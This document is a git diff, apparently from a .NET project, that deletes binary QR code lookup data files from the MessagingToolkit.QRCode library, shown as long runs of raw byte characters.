-uuttssrrUUTTSSRR44556677&&%%$$##kjjiihhg(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggff !!""##77665544eeddccbb44556677 ]]\\[[ZZ,,--..//..--,,++uutsrqpo !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnQQPPOONN8899::;;""!!gffeeddc,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbb$$%%&&''33221100aa``__^^8899::;;YYXXWWVV00112233**))((''onnmmllk$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjjMMLLKKJJ<<==>>??cbbaa``_0011223399887766PPQQRRSSppqqrrss - - aa``__^^(())**++//..--,,]]\\[[ZZ<<==>>??UUTTSSRR44556677&&%%$$##kjjiihhg(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC_^^]]\\[4455667755443322TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//++**))((YYXXWWVV@@AABBCCQQPPOONN8899::;;""!!gffeeddc,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG[ZZYYXWV8899::;;1100//..XXYYZZ[[xxxxwwvvYYXXWWVV00112233''&&%%$$UUTTSSRRDDEEFFGGMMLLKKJJ<<==>>??cbbaa``_0011223399887766PPQQRRSSppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK - -UTSSRRQQ<<==>>??--,,++**\\]]^^__ - -uuttssrrUUTTSSRR44556677##""!!QQPPOONNHHIIJJKK !!""##IIHHGGFF@@AABBCC_^^]]\\[4455667755443322TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOO PPOONNMM@@AABBCC))((''&&``aabbcc qqppoonnQQPPOONN8899::;;MMLLKKJJLLMMNNOO$$%%&&''EEDDCCBBDDEEFFGG[ZZYYXWV8899::;;1100//..XXYYZZ[[xxxxwwvvYYXXWWVV0011223399887766PPQQRRSSLLKKJJIIDDEEFFGG%%$$##""ddeeffggmmllkkjjMMLLKKJJ<<==>>??IIHHGGFFPPQQRRSS(())**++AA@@??>>HHIIJJKK - -UTSSRRQQ<<==>>??--,,++**\\]]^^__ - -uuttssrrUUTTSSRR4455667755443322TTUUVVWW - - HHGGFFEEHHIIJJKK!! hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCCEEDDCCBBTTUUVVWW,,--..//==<<;;::LLMMNNOO PPOONNMM@@AABBCC))((''&&``aabbcc qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[ DDCCBBAALLMMNNOOllmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG AA@@??>>XXYYZZ[[0011223399887766PPQQRRSSLLKKJJIIDDEEFFGG%%$$##""ddeeffggmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__@@??>>==PPQQRRSSppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK - - - -==<<;;::\\]]^^__4455667755443322TTUUVVWW - - HHGGFFEEHHIIJJKK!! hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc<;:98776TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOO 99887766``aabbcc8899::;;1100//..XXYYZZ[[ DDCCBBAALLMMNNOOllmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffgg65544332XXYYZZ[[xxxxwwvvYYXXWWVV0011223399887766PPQQRRSS55443322ddeeffgg<<==>>??--,,++**\\]]^^__@@??>>==PPQQRRSSppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkk!!""##$$21100//.\\]]^^__ - -uuttssrrUUTTSSRR4455667755443322TTUUVVWW1100//..hhiijjkkllmmbdQZ|`vXnJXQHAbnXv`rXQJ`|drf`vXXQr˂JtArdfpvtbdQZfH~ے`JbtlnXvtbdnvppZHAb|ZdQnXvےbHAf`vXdrtAvpfے`Jf~fpےbHAtAJlnvppZHAb|ZdQnrXQJ|drf`vXXQr˂JtArd`f~QZ|dfH~ے`Jbtl`f~Zp˂nvpJltH~fXQr˂vnXZp˂tbdQZfH~ے`Jbtl`ےHAtAJlnvppZHAb|ZdQHfpvrtAJf`vXXQr˂JtArdHfpvrbdQZfH~bdQZ|`vXnpZHAbv`frXQJ`|drf`vXXQr˂JtArdZp˂tbdQZfH~ے`JbtlnXvbdQZ|nvppZHAb|ZdQnXv|drf`vXdrtAvpfے`J~HfpےbHAtAJlnvppZHAb|ZdQrXQJ`|drf`vXXQr˂JtArd`pvdrtAfH~ے`Jbtl`fHtA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lnvp|ZdQnvfrXQJ`|drf`vXbtl`f~Zp˂tbdQZfH~QXb㉀ۍpfH~rQtJl|ZdQnXvےbHAnvpZHAbJtArdHfpvrXQJ`pfHے`Jbtl`f~Zp˂tbdQZfH~btl~HfpےbHAtAJlnr˂JtArdHfpvrXQJ`|drf`vXpJAHrf۝`vtbAdbtl`f~Zp˂fH~ے`JXQ|ZdQnXvےbHAf`vXXQr˂JtArdHfpvrXQJ`|drf`vX|ZdQbvnXZp˂tbdQZpZHAb|ZdQnXvےbHAtAJlnvpˁ`ZXnvZ|drQtqrstuvwxxwvutsr2222222222222222222222222222333333 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_0.dat deleted file mode 100644 index 7fde281..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_0.dat +++ /dev/null @@ -1,249 +0,0 @@ -|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmnmlklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXWWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPONMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;;<;<;<;:9:9:9:9:9:9:9:987878787656565654343434321212121|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvusssssstsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXXWVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:9:987878787878787656565654343434321212121|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878787878787656565654343434321212121|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878787878787656565654343434321212121|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878787878787656565654343434321212121|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcbababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWWWWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878787878787656565654343434321212121|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwtstststststststsrqrqrqrqpopopoponmnmnmnmlklklklklkjijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;;;;;<;<:9:9:9:98787878787878787656565654343434321212121|{|{|{|{zyzyzyzyzyzyzyzyvuvuvuvussssststtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878787656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststqqqqqqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbababababa`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijihghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWWWWWXWXVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=;<;;;;;;:9:9:9:98787878765656565656565654343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvustssssssrqrqrqrqrqpopopopopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSTSRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565654343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565434343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565434343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565434343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABA@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;:9:9:9:98787878765656565434343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghghgfefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYWXWWWWWWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;;;;;;<<;<;<;;;:9:9:9:98787878765656565434343434343434321212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutststsssrqrqrqrqpopopopoponmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<;;<;<;<;:9:9:9:98787878765656565434343434321212121212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvussstststrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<<;:9:9:9:9:9:9:98787878765656565434343432121212121212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:9:9:9:9:98787878765656565434343432121212121212121|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:9:9:9:9:98787878765656565434343432121212121212121210/0/0/|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:9:9:9:9:987878787656565654343434321212121212121210/0/0/0/|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefedcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWWWWWWXXWXWXWWWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=;<;<;;;;:9:9:9:9:9:9:9:987878787656565654343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - - - - 0/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - - - - 0/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - 0/0/0/0/0/.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!     - - - - 0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!           - - - - 0/0/0/0/.-.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!           - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!               - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - - 0/0/0/0/.-.-.-.-,+,+,+,+,+*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!      - - - - - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - - - - 0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - - - - - ||{{zzyy]]^^__``))((''&&``aabbcc)((''&&%HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##ppoonnmm srrqqppo``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;SSRRQQPP))**++,,YXWWVVUUxxyyzz{{HHIIJJKKMMLLKKJJxxwwvvuuaabbccdd%%ddeeffgg%$#"! LLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''llkkjjiionnmmllkddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??OONNMMLL--..//00TTSSRRQQ||||{{zzLLMMNNOOIIHHGGFFttssrrqq eeffgghhhhiijjkkPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++hhggffeekjjiihhghhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCKKJJIIHH11223344PPOONNMMyyxxwwvvPPQQRRSSEEDDCCBB !!""##ppoonnmm - - iijjkkllllmmnnooTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//ddccbbaagffeeddc - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGGGFFEEDD55667788LLKKJJII !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''llkkjjii - - mmnnooppppqqrrssXXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233``__^^]]cbbaa``_ ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKCCBBAA;;99::;;AAHHGGFFEE$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++hhggffee qqrrsstt yyzz{{||\\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677WWVVUUTT%%&&''((_^^]]\[Zttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOO::998877BBCCDDEEDDCCBBAA(())**++mmllkkjj \\]]^^__99887766,,--..//ddccbbaauuvvwwxx - - ||{{zzyy ``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;SSRRQQPP))**++,,YXWWVVUUxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSS66554433FFGGHHII@?>=<;;:,,--..//iihhggff``aabbcc5544332200112233``__^^]]yyzz{{|| - - xwvutssr - - ddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??OONNMMLL--..//00TTSSRRQQ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWW221100//JJKKLLMM:998877600112233eeddccbbddeeffgg1100//..44556677\\[[ZZYY||{{zzyy rqqppoonhhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCKKJJIIHH11223344PPOONNMMyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[..--,,++NNOOPPQQ6554433244556677aa``__^^hhiijjkk--,,++**8899::;;XXWWVVUU ssrrqqppnmmllkkj - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGGGFFEEDD55667788LLKKJJII !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__**))((''RRSSTTUU21100//.8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??TTSSRRQQ!!""##$$oonnmmlljiihhggf ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKCCBBAA;;99::;;AAHHGGFFEE$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc&&%%VVWW]]^^.--,,++*<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCPPOONNMM%%&&''((kkjjiihhfeeddccbttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOO::998877BBCCDDEEDDCCBBAA(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg__``aabb*))((''&@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGLLKKJJII))**++,,ggffeedd%%baa``__^xxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSS66554433FFGGHHII@?>=<;;:,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkkccddeeff&%%$#"! 